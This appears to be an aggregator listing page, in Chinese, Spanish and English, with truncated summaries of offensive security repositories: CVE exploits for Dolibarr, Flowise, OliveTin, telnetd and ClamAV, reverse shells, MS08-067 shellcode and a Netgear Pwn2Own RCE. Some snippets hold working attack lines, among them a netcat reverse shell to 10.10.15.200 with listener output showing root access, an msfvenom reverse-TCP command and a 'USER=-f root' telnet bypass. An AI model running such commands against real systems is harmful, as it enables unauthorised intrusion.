SSHintel

SSHintel — Honeypot SSH Ligero SSHintel es un honeypot SSH ligero construido con Python y Paramiko. Simula una shell Linux falsa para registrar intentos de acceso no autorizados, capturar credenciales y analizar el comportamiento de los atacantes en un entorno controlado. 🔧 Características Regist...

CVE-2023-30253-exploit

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 远程代码执行 针对 Dolibarr ERP/CRM v17.0.0 的 PHP 代码注入利用程序，允许通过 Website/CMS 模块以 www-data 用户身份获得 反向 shell 。 ⚠️ 仅限教育用途和授权审计。 📑 目录 什么是 CVE-2023-30253？ 漏洞如何工作？ 影响 此利用程序做什么？ 要求 安装 用法 实际示例 利用程序逐步说明 缓解措施 参考...

CVE-2026-6009

⚠️ 免责声明： 本仓库仅用于教育目的和授权的安全测试。请勿对非您所有或未经您明确书面许可的系统使用。 CVE-2026-6009 概念验证 摘要 Jaspersoft report 库版本 = 7.0.3 存在通过利用 Java 反序列化流程导致的 远程代码执行 RCE 漏洞。此漏洞允许攻击者在使用该版本库的系统上建立反向 shell 连接。 库： Jaspersoft report 受影响版本： = 7.0.3 漏洞类型： 通过 Java 反序列化实现 RCE CVE-2026-6009 CVSS 评分： 8.7（高） 日期： 2026-05-19 漏洞描述...

CVE-2026-25099

CVE-2026-25099 - Bludit CMS API Subida de Archivos Sin Restricciones a RCE Descripción Las versiones de Bludit CMS anteriores a la 3.18.4 permiten a un atacante autenticado con un token de API válido subir archivos de cualquier tipo y extensión a través del endpoint POST /api/files/. La función...

CVE-2025-24893_Shell

2025-24893Shell 要求：httpx 用法：python exploit.py victim.com...

Snow Crash

Snow Crash This project is an introduction to computer security. Snow Crash will help you discover security in various sub-domains, with a developer-oriented approach. You will become familiar with several languages ASM, Perl, Php, etc., develop a certain logic to understand unknown programs, and...

CVE-2026-67434

A flaw was found in PHPCodeSniffer. This command injection vulnerability allows an attacker to execute arbitrary shell commands. This occurs when PHPCodeSniffer processes untrusted files with specially crafted filenames containing shell metacharacters, specifically when generating Gitblame,...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE 针对 Flowise 版本 &1|nc 10.10.15.200 443 /tmp/f' 检查监听器，它应该会工作: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off / whoami root...

CVE-2023-20052

CVE-2023-20052 漏洞利用 本仓库包含一个针对 CVE-2023-20052 的功能性概念验证（PoC）漏洞利用程序，该漏洞影响 ClamAV 1.0.0 及更早版本、0.105.1 及更早版本以及 0.103.7 及更早版本。 演示 使用方法 root@kitploit: git clone https://github.com/tralsesec/CVE-2023-20052.git cd CVE-2023-20052 chmod +x exploit.sh ./exploit.sh 免责声明...

CVE-2026-30225-OliveTin-RCE

OliveTin — ejecución de acciones no autenticada → RCE + CVE-2026-30225 PoC para escalada de privilegios / ejecución remota de código contra instancias de OliveTin que se ejecutan con los valores predeterminados de invitado incluidos. Verificado contra OliveTin 3000.10.0 ejecutándose como root HTB...

CVE-2026-24061

CVE-2026-24061 GNU Inetutils telnetd 远程认证绕过 说真的，2026 年还在用 telnet？拜托各位，是时候向前看了。SSH 从 1995 年就有了。 🤦 描述 GNU Inetutils telnetd 中存在一个严重的认证绕过漏洞，影响 1.9.3 至 2.7 版本。 该漏洞利用 NEW-ENVIRON telnet 选项向 login1 注入恶意参数。攻击者通过 telnet 协议设置 USER=-f root，即可绕过认证并在无需凭据的情况下获得 root shell。 受影响版本 GNU Inetutils 1.9.3 - 2.7 技术细节...

pickle_exploit

PickleExploit Demostración de una vulnerabilidad de ejecución remota de código mediante la serialización Pickle en ClearML 🖥️ Este script fue desarrollado por h3x0v3rl0rd. Esta prueba de concepto PoC demuestra una posible vulnerabilidad de seguridad relacionada con la serialización y...

php-reverse-shell

php-reverse-shell...

FreePBX-Reverse-Shell-Module

FreePBX-Reverse-Shell-Module...

smb-usermap

Samba "username map script" Ejecución de comandos Este módulo explota una vulnerabilidad de ejecución de comandos en las versiones de Samba 3.0.20 hasta 3.0.25rc3 cuando se utiliza la opción de configuración no predeterminada "username map script". Al especificar un nombre de usuario que contenga...

nodejsshell

nodejsshell - h3x0v3rl0rd -...

nim-reverse-shell

nim-reverse-shell nim-reverse-shell Ejemplo: root@kitploit: sudo apt install nim actualiza el script en consecuencia root@kitploit: nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim root@kitploit: python3 -m http.server 8888 root@kitploit: wget...

Webmin1.910_exploit

Webmin 1.910 Exploit de Ejecución Remota de Código Descripción: Este repositorio contiene un script de Python 3 diseñado para explotar una vulnerabilidad de ejecución remota de código en Webmin versión 1.910. El script utiliza el endpoint sessionlogin.cgi para realizar la autenticación y desplega...

MS08-067

MS08-067 | CVE-2008-4250 参考： https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN 生成 Shellcode 我们将使用 msfvenom 生成 shellcode。 root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b...

Netgear_Pwn2Own2021

Netgear R6700v3 WAN RCE - Pwn2Own 2021 这是 Pwn2Own 2021 期间使用的代码，用于在 Netgear R6700v3 上获取远程 shell。 博客文章：https://synacktiv.com/publications/pwn2own-austin-2021-defeating-the-netgear-r6700v3 要求 带有 flask 的 python3 dnsmasq 用法 1. 以 root 身份运行 ./play.sh ifname，其中 ifname 为连接到路由器的接口名称（例如 eth0） 2. 启动路由器 3. 等待...